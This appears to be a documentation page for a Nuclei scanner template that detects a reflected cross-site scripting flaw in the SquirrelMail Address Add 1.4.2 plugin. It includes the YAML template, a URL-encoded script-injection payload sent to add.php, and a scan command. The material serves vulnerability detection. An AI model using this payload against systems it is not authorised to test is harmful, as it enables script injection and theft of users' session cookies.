SquirrelMail Address Add 1.4.2 - Cross-Site Scripting
ID: squirrelmail-address-xss
Severity: medium
Author: dhiyaneshDk
Tags: edb,xss,squirrelmail,plugin
Description
Section titled “Description”SquirrelMail Address Add 1.4.2 plugin contains a cross-site scripting vulnerability. It fails to properly sanitize user-supplied input, thus allowing an attacker to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
YAML Source
Section titled “YAML Source”id: squirrelmail-address-xss
info: name: SquirrelMail Address Add 1.4.2 - Cross-Site Scripting author: dhiyaneshDk severity: medium description: SquirrelMail Address Add 1.4.2 plugin contains a cross-site scripting vulnerability. It fails to properly sanitize user-supplied input, thus allowing an attacker to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - https://www.exploit-db.com/exploits/26305 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cwe-id: CWE-80 metadata: max-request: 1 tags: edb,xss,squirrelmail,plugin
http: - method: GET path: - '{{BaseURL}}/plugins/address_add/add.php?first=HOVER%20ME!%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and matchers: - type: status status: - 200
- type: word part: body words: - "</script><script>alert(document.domain)</script>"
- type: word part: header words: - "text/html"# digest: 4b0a00483046022100a1db3e89bcc04d677539cc7f60a20fd64eba24ce0fb6ea7721b55a3be324e7d7022100e7d57ada493ccc526ca03da39e9dc056dc12663b2e9bca787508ba17f1a461f2:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/squirrelmail/squirrelmail-add-xss.yaml"